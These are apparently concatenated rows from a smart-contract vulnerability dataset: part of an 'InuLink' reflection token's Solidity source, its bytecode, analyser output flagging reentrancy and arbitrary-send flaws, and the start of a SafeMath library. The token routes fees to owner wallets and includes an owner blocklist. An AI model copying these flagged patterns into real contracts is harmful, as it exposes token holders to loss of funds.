function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b6040516101309190612a82565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906125fc565b61042a565b60405161016d9190612a67565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612be4565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c391906125a9565b61045c565b6040516101d59190612a67565b60405180910390f35b3480156101ea57600080fd5b506102056004803603810190610200919061250f565b610535565b005b34801561021357600080fd5b5061021c610625565b6040516102299190612c59565b60405180910390f35b34801561023e57600080fd5b5061025960048036038101906102549190612685565b61062e565b005b34801561026757600080fd5b506102706106e0565b005b34801561027e57600080fd5b506102996004803603810190610294919061250f565b610752565b6040516102a69190612be4565b60405180910390f35b3480156102bb57600080fd5b506102c46107a3565b005b3480156102d257600080fd5b506102db6108f6565b6040516102e89190612999565b60405180910390f35b3480156102fd57600080fd5b5061030661091f565b6040516103139190612a82565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906125fc565b61095c565b6040516103509190612a67565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b919061263c565b61097a565b005b34801561038e57600080fd5b50610397610aa4565b005b3480156103a557600080fd5b506103ae610b1e565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612569565b611080565b6040516103e49190612be4565b60405180910390f35b60606040518060400160405280601681526020017f496e754c696e6b207c20742e6d652f496e754c696e6b00000000000000000000815250905090565b600061043e610437611107565b848461110f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104698484846112da565b61052a84610475611107565b6105258560405180606001604052806028815260200161330e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104db611107565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118df9092919063ffffffff16565b61110f565b600190509392505050565b61053d611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190612b44565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610636611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90612b44565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610721611107565b73ffffffffffffffffffffffffffffffffffffffff161461074157600080fd5b600047905061074f81611943565b50565b600061079c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a3e565b9050919050565b6107ab611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f90612b44565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f496e754c696e6b00000000000000000000000000000000000000000000000000815250905090565b6000610970610969611107565b84846112da565b6001905092915050565b610982611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690612b44565b60405180910390fd5b60005b8151811015610aa057600160066000848481518110610a3457610a33612fa1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9890612efa565b915050610a12565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae5611107565b73ffffffffffffffffffffffffffffffffffffffff1614610b0557600080fd5b6000610b1030610752565b9050610b1b81611aac565b50565b610b26611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa90612b44565b60405180910390fd5b600f60149054906101000a900460ff1615610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa90612bc4565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c9630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061110f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cdc57600080fd5b505afa158015610cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d14919061253c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d7657600080fd5b505afa158015610d8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dae919061253c565b6040518363ffffffff1660e01b8152600401610dcb9291906129b4565b602060405180830381600087803b158015610de557600080fd5b505af1158015610df9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1d919061253c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ea630610752565b600080610eb16108f6565b426040518863ffffffff1660e01b8152600401610ed396959493929190612a06565b6060604051808303818588803b158015610eec57600080fd5b505af1158015610f00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f2591906126df565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161102a9291906129dd565b602060405180830381600087803b15801561104457600080fd5b505af1158015611058573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107c91906126b2565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117690612ba4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e690612ae4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112cd9190612be4565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190612b84565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b190612aa4565b60405180910390fd5b600081116113fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f490612b64565b60405180910390fd5b6005600a81905550600a600b819055506114156108f6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148357506114536108f6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118cf57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561152c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61153557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115e05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116365750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561164e5750600f60179054906101000a900460ff165b156116fe5760105481111561166257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106116ad57600080fd5b601e426116ba9190612d1a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156117a95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117ff5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611815576005600a819055506014600b819055505b600061182030610752565b9050600f60159054906101000a900460ff1615801561188d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156118a55750600f60169054906101000a900460ff165b156118cd576118b381611aac565b600047905060008111156118cb576118ca47611943565b5b505b505b6118da838383611d34565b505050565b6000838311158290611927576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191e9190612a82565b60405180910390fd5b50600083856119369190612dfb565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611993600284611d4490919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119be573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a0f600284611d4490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a3a573d6000803e3d6000fd5b5050565b6000600854821115611a85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7c90612ac4565b60405180910390fd5b6000611a8f611d8e565b9050611aa48184611d4490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611ae457611ae3612fd0565b5b604051908082528060200260200182016040528015611b125781602001602082028036833780820191505090505b5090503081600081518110611b2a57611b29612fa1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bcc57600080fd5b505afa158015611be0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c04919061253c565b81600181518110611c1857611c17612fa1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c7f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461110f565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ce3959493929190612bff565b600060405180830381600087803b158015611cfd57600080fd5b505af1158015611d11573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611d3f838383611db9565b505050565b6000611d8683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f84565b905092915050565b6000806000611d9b611fe7565b91509150611db28183611d4490919063ffffffff16565b9250505090565b600080600080600080611dcb87612052565b955095509550955095509550611e2986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ba90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ebe85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461210490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f0a81612162565b611f14848361221f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f719190612be4565b60405180910390a3505050505050505050565b60008083118290611fcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc29190612a82565b60405180910390fd5b5060008385611fda9190612d70565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce800000090506120236b033b2e3c9fd0803ce8000000600854611d4490919063ffffffff16565b821015612045576008546b033b2e3c9fd0803ce800000093509350505061204e565b81819350935050505b9091565b600080600080600080600080600061206f8a600a54600b54612259565b925092509250600061207f611d8e565b905060008060006120928e8787876122ef565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006120fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118df565b905092915050565b60008082846121139190612d1a565b905083811015612158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214f90612b04565b60405180910390fd5b8091505092915050565b600061216c611d8e565b90506000612183828461237890919063ffffffff16565b90506121d781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461210490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612234826008546120ba90919063ffffffff16565b60088190555061224f8160095461210490919063ffffffff16565b6009819055505050565b6000806000806122856064612277888a61237890919063ffffffff16565b611d4490919063ffffffff16565b905060006122af60646122a1888b61237890919063ffffffff16565b611d4490919063ffffffff16565b905060006122d8826122ca858c6120ba90919063ffffffff16565b6120ba90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612308858961237890919063ffffffff16565b9050600061231f868961237890919063ffffffff16565b90506000612336878961237890919063ffffffff16565b9050600061235f8261235185876120ba90919063ffffffff16565b6120ba90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561238b57600090506123ed565b600082846123999190612da1565b90508284826123a89190612d70565b146123e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123df90612b24565b60405180910390fd5b809150505b92915050565b600061240661240184612c99565b612c74565b9050808382526020820190508285602086028201111561242957612428613004565b5b60005b85811015612459578161243f8882612463565b84526020840193506020830192505060018101905061242c565b5050509392505050565b600081359050612472816132c8565b92915050565b600081519050612487816132c8565b92915050565b600082601f8301126124a2576124a1612fff565b5b81356124b28482602086016123f3565b91505092915050565b6000813590506124ca816132df565b92915050565b6000815190506124df816132df565b92915050565b6000813590506124f4816132f6565b92915050565b600081519050612509816132f6565b92915050565b6000602082840312156125255761252461300e565b5b600061253384828501612463565b91505092915050565b6000602082840312156125525761255161300e565b5b600061256084828501612478565b91505092915050565b600080604083850312156125805761257f61300e565b5b600061258e85828601612463565b925050602061259f85828601612463565b9150509250929050565b6000806000606084860312156125c2576125c161300e565b5b60006125d086828701612463565b93505060206125e186828701612463565b92505060406125f2868287016124e5565b9150509250925092565b600080604083850312156126135761261261300e565b5b600061262185828601612463565b9250506020612632858286016124e5565b9150509250929050565b6000602082840312156126525761265161300e565b5b600082013567ffffffffffffffff8111156126705761266f613009565b5b61267c8482850161248d565b91505092915050565b60006020828403121561269b5761269a61300e565b5b60006126a9848285016124bb565b91505092915050565b6000602082840312156126c8576126c761300e565b5b60006126d6848285016124d0565b91505092915050565b6000806000606084860312156126f8576126f761300e565b5b6000612706868287016124fa565b9350506020612717868287016124fa565b9250506040612728868287016124fa565b9150509250925092565b600061273e838361274a565b60208301905092915050565b61275381612e2f565b82525050565b61276281612e2f565b82525050565b600061277382612cd5565b61277d8185612cf8565b935061278883612cc5565b8060005b838110156127b95781516127a08882612732565b97506127ab83612ceb565b92505060018101905061278c565b5085935050505092915050565b6127cf81612e41565b82525050565b6127de81612e84565b82525050565b60006127ef82612ce0565b6127f98185612d09565b9350612809818560208601612e96565b61281281613013565b840191505092915050565b600061282a602383612d09565b915061283582613024565b604082019050919050565b600061284d602a83612d09565b915061285882613073565b604082019050919050565b6000612870602283612d09565b915061287b826130c2565b604082019050919050565b6000612893601b83612d09565b915061289e82613111565b602082019050919050565b60006128b6602183612d09565b91506128c18261313a565b604082019050919050565b60006128d9602083612d09565b91506128e482613189565b602082019050919050565b60006128fc602983612d09565b9150612907826131b2565b604082019050919050565b600061291f602583612d09565b915061292a82613201565b604082019050919050565b6000612942602483612d09565b915061294d82613250565b604082019050919050565b6000612965601783612d09565b91506129708261329f565b602082019050919050565b61298481612e6d565b82525050565b61299381612e77565b82525050565b60006020820190506129ae6000830184612759565b92915050565b60006040820190506129c96000830185612759565b6129d66020830184612759565b9392505050565b60006040820190506129f26000830185612759565b6129ff602083018461297b565b9392505050565b600060c082019050612a1b6000830189612759565b612a28602083018861297b565b612a3560408301876127d5565b612a4260608301866127d5565b612a4f6080830185612759565b612a5c60a083018461297b565b979650505050505050565b6000602082019050612a7c60008301846127c6565b92915050565b60006020820190508181036000830152612a9c81846127e4565b905092915050565b60006020820190508181036000830152612abd8161281d565b9050919050565b60006020820190508181036000830152612add81612840565b9050919050565b60006020820190508181036000830152612afd81612863565b9050919050565b60006020820190508181036000830152612b1d81612886565b9050919050565b60006020820190508181036000830152612b3d816128a9565b9050919050565b60006020820190508181036000830152612b5d816128cc565b9050919050565b60006020820190508181036000830152612b7d816128ef565b9050919050565b60006020820190508181036000830152612b9d81612912565b9050919050565b60006020820190508181036000830152612bbd81612935565b9050919050565b60006020820190508181036000830152612bdd81612958565b9050919050565b6000602082019050612bf9600083018461297b565b92915050565b600060a082019050612c14600083018861297b565b612c2160208301876127d5565b8181036040830152612c338186612768565b9050612c426060830185612759565b612c4f608083018461297b565b9695505050505050565b6000602082019050612c6e600083018461298a565b92915050565b6000612c7e612c8f565b9050612c8a8282612ec9565b919050565b6000604051905090565b600067ffffffffffffffff821115612cb457612cb3612fd0565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d2582612e6d565b9150612d3083612e6d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d6557612d64612f43565b5b828201905092915050565b6000612d7b82612e6d565b9150612d8683612e6d565b925082612d9657612d95612f72565b5b828204905092915050565b6000612dac82612e6d565b9150612db783612e6d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612df057612def612f43565b5b828202905092915050565b6000612e0682612e6d565b9150612e1183612e6d565b925082821015612e2457612e23612f43565b5b828203905092915050565b6000612e3a82612e4d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612e8f82612e6d565b9050919050565b60005b83811015612eb4578082015181840152602081019050612e99565b83811115612ec3576000848401525b50505050565b612ed282613013565b810181811067ffffffffffffffff82111715612ef157612ef0612fd0565b5b80604052505050565b6000612f0582612e6d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f3857612f37612f43565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132d181612e2f565b81146132dc57600080fd5b50565b6132e881612e41565b81146132f357600080fd5b50565b6132ff81612e6d565b811461330a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201772d8e94d335402d9100c7ecfa119483262344a3350b8af08a8995bfe4728fd64736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,165 |
0x5F9B2417eEBcC0F3E4d21E6FE73Df9A3C1CD2035 | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
